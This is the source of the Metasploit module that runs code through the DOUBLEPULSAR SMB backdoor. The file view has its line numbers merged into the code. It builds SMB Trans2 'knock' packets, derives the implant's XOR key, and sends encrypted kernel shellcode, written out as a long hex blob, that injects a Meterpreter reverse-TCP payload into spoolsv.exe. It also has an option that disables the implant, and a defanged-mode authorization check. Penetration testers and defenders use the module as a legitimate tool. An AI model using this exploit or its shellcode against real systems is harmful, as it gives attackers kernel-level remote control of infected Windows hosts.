Path: blob/master/modules/exploits/windows/smb/smb_doublepulsar_rce.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GreatRanking89include Msf::Exploit::Remote::SMB::Client10include Msf::Module::Deprecated1112moved_from 'exploit/windows/smb/doublepulsar_rce'1314MAX_SHELLCODE_SIZE = 40961516def initialize(info = {})17super(18update_info(19info,20'Name' => 'SMB DOUBLEPULSAR Remote Code Execution',21'Description' => %q{22This module executes a Metasploit payload against the Equation Group's23DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.2425While this module primarily performs code execution against the implant,26the "Neutralize implant" target allows you to disable the implant.27},28'Author' => [29'Equation Group', # DOUBLEPULSAR implant30'Shadow Brokers', # Equation Group dump31'zerosum0x0', # DOPU analysis and detection32'Luke Jennings', # DOPU analysis and detection33'wvu', # Metasploit module and arch detection34'Jacob Robles' # Metasploit module and RCE help35],36'References' => [37['MSB', 'MS17-010'],38['CVE', '2017-0143'],39['CVE', '2017-0144'],40['CVE', '2017-0145'],41['CVE', '2017-0146'],42['CVE', '2017-0147'],43['CVE', '2017-0148'],44['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],45['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],46['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],47['URL', 'https://github.com/countercept/doublepulsar-detection-script'],48['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],49['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']50],51'DisclosureDate' => '2017-04-14', # Shadow Brokers leak52'License' => MSF_LICENSE,53'Platform' => 'win',54'Arch' => ARCH_X64,55'Privileged' => true,56'Payload' => {57'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,58'DisableNops' => true59},60'Targets' => [61[62'Execute payload (x64)',63'DefaultOptions' => {64'EXITFUNC' => 'thread',65'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'66}67],68[69'Neutralize implant',70'DefaultOptions' => {71'PAYLOAD' => nil # XXX: "Unset" generic payload72}73]74],75'DefaultTarget' => 0,76'Notes' => {77'AKA' => ['DOUBLEPULSAR'],78'RelatedModules' => [79'auxiliary/scanner/smb/smb_ms17_010',80'exploit/windows/smb/ms17_010_eternalblue'81],82'Stability' => [CRASH_OS_DOWN],83'Reliability' => [REPEATABLE_SESSION],84'SideEffects' => []85}86)87)8889register_advanced_options([90OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),91OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])92])93deregister_options('SMB::ProtocolVersion')94end9596OPCODES = {97ping: 0x23,98exec: 0xc8,99kill: 0x77100}.freeze101102STATUS_CODES = {103not_detected: 0x00,104success: 0x10,105invalid_params: 0x20,106alloc_failure: 0x30107}.freeze108109def calculate_doublepulsar_status(m1, m2)110STATUS_CODES.key(m2.to_i - m1.to_i)111end112113# algorithm to calculate the XOR Key for DoublePulsar knocks114def calculate_doublepulsar_xor_key(s)115x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))116x & 0xffffffff # this line was added just to truncate to 32 bits117end118119# The arch is adjacent to the XOR key in the SMB signature120def calculate_doublepulsar_arch(s)121s == 0 ? ARCH_X86 : ARCH_X64122end123124def generate_doublepulsar_timeout(op)125k = SecureRandom.random_bytes(4).unpack1('V')1260xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00127end128129def generate_doublepulsar_param(op, body)130case OPCODES.key(op)131when :ping, :kill132"\x00" * 12133when :exec134Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))135end136end137138def check139ipc_share = "\\\\#{rhost}\\IPC$"140141@tree_id = do_smb_setup_tree(ipc_share)142vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")143vprint_status("Target OS is #{smb_peer_os}")144145print_status('Sending ping to DOUBLEPULSAR')146code, signature1, signature2 = do_smb_doublepulsar_pkt147msg = 'Host is likely INFECTED with DoublePulsar!'148149case calculate_doublepulsar_status(@multiplex_id, code)150when :success151@xor_key = calculate_doublepulsar_xor_key(signature1)152@arch = calculate_doublepulsar_arch(signature2)153154arch_str =155case @arch156when ARCH_X86157'x86 (32-bit)'158when ARCH_X64159'x64 (64-bit)'160end161162print_warning("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")163CheckCode::Vulnerable164when :not_detected165print_error('DOUBLEPULSAR not detected or disabled')166CheckCode::Safe167else168print_error('An unknown error occurred')169CheckCode::Unknown170end171end172173def exploit174if datastore['DefangedMode']175warning = <<~EOF176177178Are you SURE you want to execute code against a nation-state implant?179You MAY contaminate forensic evidence if there is an investigation.180181Disable the DefangedMode option if you have authorization to proceed.182EOF183184fail_with(Failure::BadConfig, warning)185end186187# No ForceExploit because @tree_id and @xor_key are required188unless check == CheckCode::Vulnerable189fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')190end191192case target.name193when 'Execute payload (x64)'194unless @xor_key195fail_with(Failure::NotFound, 'XOR key not found')196end197198if @arch == ARCH_X86199fail_with(Failure::NoTarget, 'x86 is not a supported target')200end201202print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")203shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])204shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)205vprint_status("Total shellcode length: #{shellcode.length} bytes")206207print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")208xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)209210print_status('Sending shellcode to DOUBLEPULSAR')211code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)212when 'Neutralize implant'213return neutralize_implant214end215216case calculate_doublepulsar_status(@multiplex_id, code)217when :success218print_good('Payload execution successful')219when :invalid_params220fail_with(Failure::BadConfig, 'Invalid parameters were specified')221when :alloc_failure222fail_with(Failure::PayloadFailed, 'An allocation failure occurred')223else224fail_with(Failure::Unknown, 'An unknown error occurred')225end226ensure227disconnect228end229230def neutralize_implant231print_status('Neutralizing DOUBLEPULSAR')232code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])233234case calculate_doublepulsar_status(@multiplex_id, code)235when :success236print_good('Implant neutralization successful')237else238fail_with(Failure::Unknown, 'An unknown error occurred')239end240end241242def do_smb_setup_tree(ipc_share)243connect(versions: [1])244245# logon as user \246simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])247248# connect to IPC$249simple.connect(ipc_share)250251# return tree252simple.shares[ipc_share]253end254255def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)256# make doublepulsar knock257pkt = make_smb_trans2_doublepulsar(opcode, body)258259sock.put(pkt)260bytes = sock.get_once261262return unless bytes263264# convert packet to response struct265pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct266pkt.from_s(bytes[4..-1])267268return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']269end270271def make_smb_trans2_doublepulsar(opcode, body)272setup_count = 1273setup_data = [0x000e].pack('v')274275param = generate_doublepulsar_param(opcode, body)276data = param + body.to_s277278pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct279simple.client.smb_defaults(pkt['Payload']['SMB'])280281base_offset = pkt.to_s.length + (setup_count * 2) - 4282param_offset = base_offset283data_offset = param_offset + param.length284285pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2286pkt['Payload']['SMB'].v['Flags1'] = 0x18287pkt['Payload']['SMB'].v['Flags2'] = 0xc007288289@multiplex_id = rand(0xffff)290291pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count292pkt['Payload']['SMB'].v['TreeID'] = @tree_id293pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id294295pkt['Payload'].v['ParamCountTotal'] = param.length296pkt['Payload'].v['DataCountTotal'] = body.to_s.length297pkt['Payload'].v['ParamCountMax'] = 1298pkt['Payload'].v['DataCountMax'] = 0299pkt['Payload'].v['ParamCount'] = param.length300pkt['Payload'].v['ParamOffset'] = param_offset301pkt['Payload'].v['DataCount'] = body.to_s.length302pkt['Payload'].v['DataOffset'] = data_offset303pkt['Payload'].v['SetupCount'] = setup_count304pkt['Payload'].v['SetupData'] = setup_data305pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)306pkt['Payload'].v['Payload'] = data307308pkt.to_s309end310311# ring3 = user mode encoded payload312# proc_name = process to inject APC into313def make_kernel_user_payload(ring3, proc_name)314sc = make_kernel_shellcode(proc_name)315316sc << [ring3.length].pack('S<')317sc << ring3318319sc320end321322def generate_process_hash(process)323# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm324proc_hash = 0325process << "\x00"326327process.each_byte do |c|328proc_hash = ror(proc_hash, 13)329proc_hash += c330end331332[proc_hash].pack('l<')333end334335def ror(dword, bits)336(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF337end338339def make_kernel_shellcode(proc_name)340# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm341# Length: 780 bytes342"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \343"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \344"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \345"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \346"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \347"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \348"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \349"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \350"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \351"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \352"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \353"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \354"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +355generate_process_hash(proc_name.upcase) +356"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \357"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \358"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \359"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \360"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \361"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \362"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \363"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \364"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \365"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \366"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \367"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \368"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \369"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \370"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \371"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \372"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \373"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \374"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \375"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \376"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \377"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \378"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \379"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \380"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \381"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \382"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \383"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \384"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \385"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \386"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \387"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \388"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \389"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \390"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \391"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"392end393394def kernel_shellcode_size395make_kernel_shellcode('').length396end397398end399400401